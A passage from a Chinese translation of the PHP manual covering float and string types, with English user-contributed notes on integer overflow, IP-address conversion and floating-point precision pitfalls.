        $ipArr[1] = ($ipVint & 0xFF0000)  >> 16;
        $ipArr[2] = ($ipVint & 0xFF00  )  >> 8;
        $ipArr[3] =  $ipVint & 0xFF;
        $ipDotted = implode('.', $ipArr);
?>
Jacek 10-Mar-2007 04:51
On 64 bits machines max integer value is 0x7fffffffffffffff (9 223 372 036 854 775 807).
09-Mar-2007 07:26
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
echo(dechex("2724838310"));
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
echo(dechex("2724838310"+0));
will print 'A269BBA6'
rustamabd@gmail-you-know-what 12-Dec-2006 01:42
Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example:
<?php
    $i = 6887129852;
    echo "i=$i\n";
    echo "i%36=".($i%36)."\n";
    echo "alternative i%36=".($i-floor($i/36)*36)."\n";
?>
Will output:
i=6.88713E+009
i%36=-24
alternative i%36=20
jmw254 at cornell dot edu 25-Aug-2006 10:14
Try this one instead:

function iplongtostring($ip)
{
    $ip=floatval($ip); // otherwise it is capped at 127.255.255.255

    $a=($ip>>24)&255;
    $b=($ip>>16)&255;
    $c=($ip>>8)&255;
    $d=$ip&255;

    return "$a.$b.$c.$d";
}
23-Dec-2003 10:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

    function parse_unsigned_int($string) {
        $x = (float)$string;
        if ($x > (float)2147483647)
            $x -= (float)"4294967296";
        return (int)$x;
    }


Float 浮点型

浮点型（也叫浮点数 float，双精度数 double 或实数 real）可以用以下任一语法定义：

<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
$d = 1_234.567; // 从 PHP 7.4.0 开始支持
?>

浮点数的形式表示（PHP 7.4.0 之前不支持下划线）：

LNUM          [0-9]+(_[0-9]+)*
DNUM ({LNUM}?"."{LNUM}) | ({LNUM}"."{LNUM}?)
EXPONENT_DNUM (({LNUM} | {DNUM}) [eE][+-]? {LNUM})

浮点数的字长和平台相关，尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度（64 位 IEEE 格式）。

Warning

浮点数的精度

浮点数的精度有限。尽管取决于系统，PHP 通常使用 IEEE 754 双精度格式，则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差，并且要考虑到进行复合运算时的误差传递。

此外，以十进制能够精确表示的有理数如 0.1 或 0.7，无论有多少尾数都不能被内部所使用的二进制精确表示，因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果：例如，floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8，因为该结果内部的表示其实是类似 7.9999999999999991118...。

所以永远不要相信浮点数结果精确到了最后一位，也永远不要比较两个浮点数是否相等。如果确实需要更高的精度，应该使用任意精度数学函数或者 gmp 函数。

参见» 浮点数指南网页的简单解释。

转换为浮点数

从 string 转换

如果 string 是 numeric 或者前导数字， 则将它解析为相应的 float 值，否则将转换为零（0）。

从其他类型转换

对于其它类型的值，其情况类似于先将值转换成 int，然后再转换成 float。 请参阅"转换为整型"一节以获取更多信息。

Note:

某些类型在转换成 int 时有未定义行为，转换为 float 时也会如此。

比较浮点数

如上述警告信息所言，由于内部表达方式的原因，比较两个浮点数是否相等是有问题的。不过还是有迂回的方法来比较浮点数值的。

要测试浮点数是否相等，要使用一个仅比该数值大一丁点的最小误差值。该值也被称为机器极小值（epsilon）或最小单元取整数，是计算中所能接受的最小的差别值。

$a 和 $b 在小数点后五位精度内都是相等的。

<?php
$a = 1.23456789;
$b = 1.23456780;
$epsilon = 0.00001;

if(abs($a-$b) < $epsilon) {
echo "true";
}
?>

NaN

某些数学运算会产生一个由常量 NAN 所代表的结果。此结果代表着一个在浮点数运算中未定义或不可表述的值。任何拿此值与其它任何值（除了 true）进行的松散或严格比较的结果都是 false。

由于 NAN 代表着任何不同值，不应拿 NAN 去和其它值进行比较，包括其自身，应该用 is_nan() 来检查。

User Contributed Notes

251701981 at qq dot com 05-Aug-2023 03:58
<?php

//Please consider the following code
  printf("%.53f\n",0.7+0.1);  // 0.79999999999999993338661852249060757458209991455078125

       var_dump(0.7+0.1);   // float(0.8)

       var_dump(0.799999999999999);  //float(0.8)

       var_dump(0.7999999); // float(0.7999999)

//Conclusion: PHP can support up to 53 decimal places, but in some output functions such as var_ Dump, when outputting decimals exceeding 14 places, will round off the 15th place, which causes significant misleading
//experimental environment：linux x64，php7.2.x
lwiwala at gmail dot com 07-Mar-2017 03:49
To compare two numbers use:

$epsilon = 1e-6;

if(abs($firstNumber-$secondNumber) < $epsilon){
   // equals
}
catalin dot luntraru at gmail dot com 18-Nov-2013 03:44
$x = 8 - 6.4;  // which is equal to 1.6
$y = 1.6;
var_dump($x == $y); // is not true

PHP thinks that 1.6 (coming from a difference) is not equal to 1.6. To make it work, use round()

var_dump(round($x, 2) == round($y, 2)); // this is true

This happens probably because $x is not really 1.6, but 1.599999.. and var_dump shows it to you as being 1.6.
zelko at mojeime dot com 31-Mar-2011 01:02
<?php
   $binarydata32 = pack('H*','00000000');
   $float32 = unpack("f", $binarydata32); // 0.0

   $binarydata64 = pack('H*','0000000000000000');
   $float64 = unpack("d", $binarydata64); // 0.0
?>

I get 0 both for 32-bit and 64-bit numbers.

But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions".

To get binary encoding:
<?php
   $float32 = pack("f", 5300231);
   $binarydata32 =unpack('H*',$float32); //"0EC0A14A"

   $float64 = pack("d", 5300231);
   $binarydata64 =unpack('H*',$float64); //"000000C001385441"
?>

And my example from half a year ago:
<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32); // 5300231

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64); // 5300231
?>

And please mind the Big and Little endian boys...
magicaltux at php dot net 01-Jun-2010 07:02
In some cases you may want to get the maximum value for a float without getting "INF".

var_dump(1.8e308); will usually show: float(INF)

I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate.

I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more.

Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system.

<?php
  function float_max($mul = 2, $affine = 1) {
    $max = 1; $omax = 0;
    while((string)$max != 'INF') { $omax = $max; $max *= $mul; }

    for($i = 0; $i < $affine; $i++) {
      $pmax = 1; $max = $omax;
      while((string)$max != 'INF') {
        $omax = $max;
        $max += $pmax;
        $pmax *= $mul;
      }
    }
    return $omax;
  }
?>
Luzian 17-Nov-2005 12:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
rick at ninjafoo dot com 06-Jul-2005 01:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
feline at NOSPAM dot penguin dot servehttp dot com 12-Aug-2004 06:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
james dot cridland at virginradio dot co dot uk 28-Apr-2003 07:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
backov at spotbrokers-nospamplz dot com 05-Mar-2003 01:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com 04-Feb-2003 10:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.


String 字符串

一个字符串 string 就是由一系列的字符组成，其中每个字符等同于一个字节。这意味着 PHP 只能支持 256 的字符集，因此不支持 Unicode 。详见字符串类型详解。

Note: 在 32 位版本中，string 最大可以达到 2GB（最多 2147483647 字节）。

语法

一个字符串可以用 4 种方式表达：

  • 单引号
  • 双引号
  • heredoc 语法结构
  • nowdoc 语法结构

单引号

定义一个字符串的最简单的方法是用单引号把它包围起来（字符 '）。

要表达一个单引号自身，需在它的前面加个反斜线（\）来转义。要表达一个反斜线自身，则用两个反斜线（\\）。其它任何方式的反斜线都会被当成反斜线本身：也就是说如果想使用其它转义序列例如 \r 或者 \n，并不代表任何特殊含义，就单纯是这两个字符本身。

Note: 不像双引号和 heredoc 语法结构，在单引号字符串中的变量和特殊字符的转义序列将不会被替换。

<?php
echo 'this is a simple string';

// 可以录入多行
echo 'You can also have embedded newlines in
strings this way as it is
okay to do';

// 输出： Arnold once said: "I'll be back"
echo 'Arnold once said: "I\'ll be back"';

// 输出： You deleted C:\*.*?
echo 'You deleted C:\\*.*?';

// 输出： You deleted C:\*.*?
echo 'You deleted C:\*.*?';

// 输出： This will not expand: \n a newline
echo 'This will not expand: \n a newline';

// 输出： Variables do not $expand $either
echo 'Variables do not $expand $either';
?>

双引号

如果字符串是包围在双引号（"）中， PHP 将对以下特殊的字符进行解析：

转义字符
序列 | 含义
\n | 换行（ASCII 字符集中的 LF 或 0x0A (10)）
\r | 回车（ASCII 字符集中的 CR 或 0x0D (13)）
\t | 水平制表符（ASCII 字符集中的 HT 或 0x09 (9)）
\v | 垂直制表符（ASCII 字符集中的 VT 或 0x0B (11)）
\e | Escape（ASCII 字符集中的 ESC 或 0x1B (27)）
\f | 换页（ASCII 字符集中的 FF 或 0x0C (12)）
\\ | 反斜线
\$ | 美元标记
\" | 双引号
\[0-7]{1,3} | 八进制：匹配正则表达式序列 [0-7]{1,3} 的是八进制表示法的字符序列（比如 "\101" === "A"），会静默溢出以适应一个字节（例如 "\400" === "\000"）
\x[0-9A-Fa-f]{1,2} | 十六进制：匹配正则表达式序列 [0-9A-Fa-f]{1,2} 的是十六进制表示法的一个字符（比如 "\x41" === "A"）
\u{[0-9A-Fa-f]+} | Unicode：匹配正则表达式 [0-9A-Fa-f]+ 的字符序列是 unicode 码位，该码位能作为 UTF-8 的表达方式输出字符串。序列中必须包含大括号。例如 "\u{41}" === "A"

和单引号字符串一样，转义任何其它字符都会导致反斜线被显示出来。

用双引号定义的字符串最重要的特征是变量会被解析，详见变量解析。

Heredoc 结构

第三种表达字符串的方法是用 heredoc 句法结构：<<<。在该运算符之后要提供一个标识符，然后换行。接下来是字符串 string 本身，最后要用前面定义的标识符作为结束标志。

结束标识符可以使用空格或制表符（tab）缩进，此时文档字符串会删除所有缩进。 在 PHP 7.3.0 之前的版本中，结束时所引用的标识符必须在该行的第一列。

而且，标识符的命名也要像其它标签一样遵守 PHP 的规则：只能包含字母、数字和下划线，并且必须以字母和下划线作为开头。

Example #1 PHP 7.3.0 之后的基础 Heredoc 示例

<?php
// 无缩进
echo <<<END
 a
b
c
\n
END;
// 4 空格缩进
echo <<<END
 a
b
c
 END;

以上示例在 PHP 7.3 中的输出：

      a
     b
    c
  a
 b
c

如果结束标识符的缩进超过内容的任何一行的缩进，则将抛出 ParseError 异常：

Example #2 结束标识符的缩进不能超过正文的任何一行

<?php
echo <<<END
 a
b
c
 END;

以上示例在 PHP 7.3 中的输出：

PHP Parse error:  Invalid body indentation level (expecting an indentation level of at least 3) in example.php on line 4

制表符也可以缩进结束标识符，但是，关于缩进结束标识符和内容， 制表符和空格不能混合使用。在以上任何情况下， 将会抛出 ParseError 异常。 之所以包含这些空白限制，是因为混合制表符和空格来缩进不利于易读性。

Example #3 内容（空白）和结束标识符的不同缩进

<?php
// 以下所有代码都不起作用。
// 正文（空格）和结束标记（制表符），不同的缩进
{
echo <<<END
 a
 END;
}
// 在正文中混合空格和制表符
{
echo <<<END
 a
 END;
}
// 在结束标记中混合空格和制表符
{
echo <<<END
 a
 END;
}

以上示例在 PHP 7.3 中的输出：

PHP Parse error:  Invalid indentation - tabs and spaces cannot be mixed in example.php line 8

内容字符串的结束标识符后面不需要跟分号或者换行符。 例如，从 PHP 7.3.0 开始允许以下代码：

Example #4 在结束标识符后继续表达式

<?php
$values = [<<<END
a
b
c
END, 'd e f'];
var_dump($values);

以上示例在 PHP 7.3 中的输出：

array(2) {
  [0] =>
  string(11) "a
  b
    c"
  [1] =>
  string(5) "d e f"
}
Warning

如果在某一行的开头找到了结束标识符，那么不管它是否是另外一个单词的一部分， 它都可能看作结束标识符并引起 ParseError。

Example #5 字符串内容中的结束标识符往往会导致 ParseError

<?php
$values = [<<<END
a
b
END ING
END, 'd e f'];

以上示例在 PHP 7.3 中的输出：

PHP Parse error:  syntax error, unexpected identifier "ING", expecting "]" in example.php on line 6

为了避免这个问题，遵循以下简单的规则较为安全： 不要选择正文内容中出现的词作为结束标识符。

Warning

在 PHP 7.3.0 之前，请务必注意，带有结束标识符的行不能包含除 (;)外的任何其他字符。 这意味着标识符不能缩进，分号的前后也不能有任何空白或制表符。更重要的是结束标识符的前面必须是个被本地操作系统认可的换行，比如在 UNIX 和 macOS 系统中是 \n，而结束定界符之后也必须紧跟一个换行。

如果不遵守该规则导致结束标识不"干净"，PHP 将认为它不是结束标识符而继续寻找。如果在文件结束前也没有找到一个正确的结束标识符，PHP 将会在最后一行产生一个解析错误。

Example #6 PHP 7.3.0 之前的错误示例

<?php
class foo {
public $bar = <<<EOT
bar
 EOT;
}
// 不能缩进标识符
?>

Example #7 即使在 PHP 7.3.0 之前也合法的示例

<?php
class foo {
public $bar = <<<EOT
bar
EOT;
}
?>

Heredocs 结构不能用来初始化类的属性。

Heredoc 结构就象是没有双引号的 string，这就是说在 heredoc 结构中单引号不用被转义，但是上文中列出的转义序列还可以使用。变量将被替换，但在 heredoc 结构中含有复杂的变量时要像 string 一样格外小心。

Example #8 Heredoc 结构的字符串示例

<?php
$str = <<<EOD
Example of string
spanning multiple lines
using heredoc syntax.
EOD;

/* 含有变量的更复杂示例 */
class foo
{
var $foo;
var $bar;

function __construct()
{
$this->foo = 'Foo';
$this->bar = array('Bar1', 'Bar2', 'Bar3');
}
}

$foo = new foo();
$name = 'MyName';

echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

以上示例会输出：

My name is "MyName". I am printing some Foo.
Now, I am printing some Bar2.
This should print a capital 'A': A

也可以把 Heredoc 结构用在函数参数中来传递数据：

Example #9 Heredoc 结构在参数中的示例

<?php
var_dump(array(<<<EOD
foobar!
EOD
));
?>

可以用 Heredoc 结构来初始化静态变量和类的属性和常量：

Example #10 使用 Heredoc 结构来初始化静态值

<?php
// 静态变量
function foo()
{
static $bar = <<<LABEL
Nothing in here...
LABEL;
}

// 类的常量、属性
class foo
{
const BAR = <<<FOOBAR
Constant example
FOOBAR;

public $baz = <<<FOOBAR
Property example
FOOBAR;
}
?>

还可以在 Heredoc 结构中用双引号来声明标识符：

Example #11 在 heredoc 结构中使用双引号

<?php
echo <<<"FOOBAR"
Hello World!
FOOBAR;
?>

Nowdoc 结构

就象 heredoc 结构类似于双引号字符串，Nowdoc 结构是类似于单引号字符串的。Nowdoc 结构很象 heredoc 结构，但是 nowdoc 中不进行解析操作。这种结构很适合用于嵌入 PHP 代码或其它大段文本而无需对其中的特殊字符进行转义。与 SGML 的 <![CDATA[ ]]> 结构是用来声明大段的不用解析的文本类似，nowdoc 结构也有相同的特征。

一个 nowdoc 结构也用和 heredocs 结构一样的标记 <<<， 但是跟在后面的标识符要用单引号括起来，即 <<<'EOT'。Heredoc 结构的所有规则也同样适用于 nowdoc 结构，尤其是结束标识符的规则。

Example #12 Nowdoc 结构字符串示例

<?php
echo <<<'EOD'
Example of string spanning multiple lines
using nowdoc syntax. Backslashes are always treated literally,
e.g. \\ and \'.
EOD;

以上示例会输出：

Example of string spanning multiple lines
using nowdoc syntax. Backslashes are always treated literally,
e.g. \\ and \'.

Example #13 含变量引用的 Nowdoc 字符串示例

<?php

/* 含有变量的更复杂的示例 */
class foo
{
public $foo;
public $bar;

function __construct()
{
$this->foo = 'Foo';
$this->bar = array('Bar1', 'Bar2', 'Bar3');
}
}

$foo = new foo();
$name = 'MyName';

echo <<<'EOT'
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41
EOT;
?>

以上示例会输出：

My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41

Example #14 静态数据的示例

<?php
class foo {
public $bar = <<<'EOT'
bar
EOT;
}
?>

Note:

Nowdoc 结构是在 PHP 5.3.0 中加入的。

变量解析

当字符串用双引号或 heredoc 结构定义时，其中的变量将会被解析。

这里共有两种语法规则：一种简单规则，一种复杂规则。简单的语法规则是最常用和最方便的，它可以用最少的代码在一个 string 中嵌入一个变量，一个 array 的值，或一个 object 的属性。

复杂规则语法的显著标记是用花括号包围的表达式。

简单语法

当 PHP 解析器遇到一个美元符号（$）时，它会和其它很多解析器一样，去组合尽量多的标识以形成一个合法的变量名。可以用花括号来明确变量名的界线。

<?php
$juice = "apple";

echo "He drank some $juice juice.".PHP_EOL;
// Unintended. "s" is a valid character for a variable name, so this refers to $juices, not $juice.
echo "He drank some juice made of $juices.";
// Explicitly specify the end of the variable name by enclosing the reference in braces.
echo "He drank some juice made of {$juice}s.";
?>

以上示例会输出：

He drank some apple juice.
He drank some juice made of .
He drank some juice made of apples.

类似的，一个 array 索引或一个 object 属性也可被解析。数组索引要用方括号（]）来表示索引结束的边际，对象属性则是和上述的变量规则相同。

Example #15 简单语法示例

<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
public $john = "John Smith";
public $jane = "Jane Smith";
public $robert = "Robert Paulsen";

public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Won't work
?>

以上示例会输出：

He drank some apple juice.
He drank some orange juice.
He drank some purple juice.
John Smith drank some apple juice.
John Smith then said hello to Jane Smith.
John Smith's wife greeted Robert Paulsen.
Robert Paulsen greeted the two .

从 PHP 7.1.0 起，还支持负数字索引。

Example #16 负数索引

<?php
$string = 'string';
echo "The character at index -2 is $string[-2].", PHP_EOL;
$string[-3] = 'o';
echo "Changing the character at index -3 to o gives $string.", PHP_EOL;
?>

以上示例会输出：

The character at index -2 is n.
Changing the character at index -3 to o gives strong.

如果想要表达更复杂的结构，请用复杂语法。

复杂（花括号）语法

复杂语法不是因为其语法复杂而得名，而是因为它可以使用复杂的表达式。

任何具有 string 表达的标量变量，数组单元或对象属性都可使用此语法。 表达式的书写方式与在 string 以外的方式相同， 然后用花括号 { 和 } 把它括起来即可。由于 { 无法被转义，只有 $ 紧挨着 { 时才会被识别。可以用 {\$ 来表达 {$。下面的示例可以更好的解释：

<?php
// 显示所有错误
error_reporting(E_ALL);

$great = 'fantastic';

// 无效，输出: This is { fantastic}
echo "This is { $great}";

// 有效，输出： This is fantastic
echo "This is {$great}";

// 有效
echo "This square is {$square->width}00 centimeters broad.";

// 有效，只有通过花括号语法才能正确解析带引号的键名
echo "This works: {$arr['key']}";

// 有效
echo "This works: {$arr[4][3]}";

// 这是错误的表达式，因为就象 $foo[bar] 的格式在字符串以外也是错的一样。
// 换句话说，只有在 PHP 能找到常量 foo 的前提下才会正常工作；这里会产生一个
// E_NOTICE (undefined constant) 级别的错误。
echo "This is wrong: {$arr[foo][3]}";

// 有效，当在字符串中使用多重数组时，一定要用括号将它括起来
echo "This works: {$arr['foo'][3]}";

// 有效
echo "This works: " . $arr['foo'][3];

echo "This works too: {$obj->values[3]->name}";

echo "This is the value of the var named $name: {${$name}}";

echo "This is the value of the var named by the return value of getName(): {${getName()}}";

echo "This is the value of the var named by the return value of \$object->getName(): {${$object->getName()}}";

// 无效，输出： This is the return value of getName(): {getName()}
echo "This is the return value of getName(): {getName()}";

// 无效, 输出： C:\folder\{fantastic}.txt
echo "C:\folder\{$great}.txt"
// 有效, 输出： C:\folder\fantastic.txt
echo "C:\\folder\\{$great}.txt"
?>

也可以在字符串中用此语法通过变量来调用类的属性。

<?php
class foo {
var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo "{$foo->$bar}\n";
echo "{$foo->{$baz[1]}}\n";
?>

以上示例会输出：

I am bar.
I am bar.

Note:

函数、方法、静态类变量和类常量可使用 {$} ，在该字符串被定义的命名空间中将其值作为变量名来访问。只单一使用花括号 ({}) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。

<?php
// 显示所有错误
error_reporting(E_ALL);

class beers {
const softdrink = 'rootbeer';
public static $ale = 'ipa';
}

$rootbeer = 'A & W';
$ipa = 'Alexander Keith\'s';

// 有效，输出： I'd like an A & W
echo "I'd like an {${beers::softdrink}}\n";

// 也有效，输出： I'd like an Alexander Keith's
echo "I'd like an {${beers::$ale}}\n";
?>

存取和修改字符串中的字符

string 中的字符可以通过一个从 0 开始的下标，用类似 array 结构中的方括号包含对应的数字来访问和修改，比如 $str[42]。可以把 string 当成字符组成的 array。函数 substr() 和 substr_replace() 可用于操作多于一个字符的情况。

Note: 从 PHP 7.1.0 开始，还支持 string 负偏移量。从 string 尾部到指定位置的偏移量。 以前，负偏移量读取时（返回空 string）会发出 E_NOTICE， 写入时（string 保持不变）会发出 E_WARNING。

Note: PHP 8.0.0 之前, 出于同样的目的，可以使用大括号访问 string，例如 $str{42}。 从 PHP 7.4.0 起，此大括号语法被弃用，自 PHP 8.0.0 开始不再受支持。

Warning

用超出字符串长度的下标写入将会拉长该字符串并以空格填充。非整数类型下标会被转换成整数。非法下标类型会产生一个 E_WARNING 级别错误。 写入时只用到了赋值字符串的第一个字符。 PHP 7.1.0 开始，用空字符串赋值会导致 fatal 错误；在之前赋给的值是 NULL 字符。

Warning

PHP 的字符串在内部是字节组成的数组。因此用花括号访问或修改字符串对多字节字符集很不安全。仅应对单字节编码例如 ISO-8859-1 的字符串进行此类操作。

Note: 从 PHP 7.1.0 开始，对空字符串应用空索引运算符会引发致命错误。 以前是空字符串会被静默转为数组。

Example #17 一些字符串示例

<?php
// 取得字符串的第一个字符
$str = 'This is a test.';
$first = $str[0];

// 取得字符串的第三个字符
$third = $str[2];

// 取得字符串的最后一个字符
$str = 'This is still a test.';
$last = $str[strlen($str)-1];

// 修改字符串的最后一个字符
$str = 'Look at the sea';
$str[strlen($str)-1] = 'e';

?>

字符串下标必须为整数或可转换为整数的字符串，否则会发出警告。之前类似 "foo" 的下标会无声地转换成 0。

Example #18 字符串无效下标的例子

<?php
$str = 'abc';

var_dump($str['1']);
var_dump(isset($str['1']));

var_dump($str['1.0']);
var_dump(isset($str['1.0']));

var_dump($str['x']);
var_dump(isset($str['x']));

var_dump($str['1x']);
var_dump(isset($str['1x']));
?>

以上示例会输出：

string(1) "b"
bool(true)

Warning: Illegal string offset '1.0' in /tmp/t.php on line 7
string(1) "b"
bool(false)

Warning: Illegal string offset 'x' in /tmp/t.php on line 9
string(1) "a"
bool(false)
string(1) "b"
bool(false)

Note:

用 [] 或 {} 访问任何其它类型（不包括数组或具有相应接口的对象实现）的变量只会无声地返回 null。

Note:

可以直接在字符串原型中用 [] 或 {} 访问字符。

Note:

PHP 7.4 中弃用在字符串字面量中使用 {} 来访问字符。 PHP 8.0 已移除。

有用的函数和运算符

字符串可以用 '.'（点）运算符连接起来，注意 '+'（加号）运算符没有这个功能。更多信息参考字符串运算符。

对于 string 的操作有很多有用的函数。

可以参考字符串函数了解大部分函数，高级的查找与替换功能可以参考 Perl 兼容正则表达式函数。

另外还有 URL 字符串函数，也有加密／解密字符串的函数（Sodium 和 Hash）。

最后，可以参考字符类型函数。

转换成字符串

一个值可以通过在其前面加上 (string) 或用 strval() 函数来转变成字符串。在一个需要字符串的表达式中，会自动转换为 string。这发生在当使用 echo 或 print 函数，或当变量与 string 进行比较的时候。类型和类型转换可以更好的解释下面的事情，也可参考函数 settype()。

一个布尔值 bool 的 true 被转换成 string 的 "1"。bool 的 false 被转换成 ""（空字符串）。这种转换可以在 bool 和 string 之间相互进行。

一个整数 int 或浮点数 float 被转换为数字的字面样式的 string（包括 float 中的指数部分）。使用指数计数法的浮点数（4.1E+6）也可转换。

Note:

PHP 8.0.0 起，十进制小数点字符都是一个句号（.）。 而在此之前的版本，在脚本的区域（category LC_NUMERIC） 中定义了十进制小数点字符。参见 setlocale()。

数组 array 总是转换成字符串 "Array"，因此，echo 和 print 无法显示出该数组的内容。要显示某个单元，可以用 echo $arr['foo'] 这种结构。要显示整个数组内容见下文。

必须使用魔术方法 __toString 才能将 object 转换为 string。

资源 Resource 总会被转变成 "Resource id #1" 这种结构的字符串，其中的 1 是 PHP 在运行时分配给该 resource 的资源数字。 While the exact structure of this string should not be relied on and is subject to change, it will always be unique for a given resource within the lifetime of a script being executed (ie a Web request or CLI process) and won't be reused. 要得到一个 resource 的类型，可以用函数 get_resource_type()。

null 总是被转变成空字符串。

如上面所说的，直接把 array，object 或 resource 转换成 string 不会得到除了其类型之外的任何有用信息。可以使用函数 print_r() 和 var_dump() 列出这些类型的内容。

大部分的 PHP 值可以转变成 string 来永久保存，这被称作串行化，可以用函数 serialize() 来实现。

字符串类型详解

PHP 中的 string 的实现方式是一个由字节组成的数组再加上一个整数指明缓冲区长度。并无如何将字节转换成字符的信息，由程序员来决定。字符串由什么值来组成并无限制；特别的，其值为 0（"NUL bytes"）的字节可以处于字符串任何位置（不过有几个函数，在本手册中被称为非"二进制安全"的，也许会把 NUL 字节之后的数据全都忽略）。

字符串类型的此特性解释了为什么 PHP 中没有单独的"byte"类型 - 已经用字符串来代替了。返回非文本值的函数 - 例如从网络套接字读取的任意数据 - 仍会返回字符串。

由于 PHP 并不特别指明字符串的编码，那字符串到底是怎样编码的呢？例如字符串 "á" 到底是等于 "\xE1"（ISO-8859-1），"\xC3\xA1"（UTF-8，C form），"\x61\xCC\x81"（UTF-8，D form）还是任何其它可能的表达呢？答案是字符串会被按照该脚本文件相同的编码方式来编码。因此如果一个脚本的编码是 ISO-8859-1，则其中的字符串也会被编码为 ISO-8859-1，以此类推。不过这并不适用于激活了 Zend Multibyte 时；此时脚本可以是以任何方式编码的（明确指定或被自动检测）然后被转换为某种内部编码，然后字符串将被用此方式编码。注意脚本的编码有一些约束（如果激活了 Zend Multibyte 则是其内部编码）- 这意味着此编码应该是 ASCII 的兼容超集，例如 UTF-8 或 ISO-8859-1。不过要注意，依赖状态的编码其中相同的字节值可以用于首字母和非首字母而转换状态，这可能会造成问题。

当然了，要做到有用，操作文本的函数必须假定字符串是如何编码的。不幸的是，PHP 关于此的函数有很多变种：

  • 某些函数假定字符串是以单字节编码的，但并不需要将字节解释为特定的字符。例如 substr()，strpos()，strlen() 和 strcmp()。理解这些函数的另一种方法是它们作用于内存缓冲区，即按照字节和字节下标操作。
  • 某些函数被传递入了字符串的编码方式，也可能会假定默认无此信息。例如 htmlentities() 和 mbstring 扩展中的大部分函数。
  • 其它函数使用了当前区域（见 setlocale()），但是逐字节操作。
  • 最后一些函数会假定字符串是使用某特定编码的，通常是 UTF-8。intl 扩展和 PCRE（上例中仅在使用了 u 修饰符时）扩展中的大部分函数都是这样。

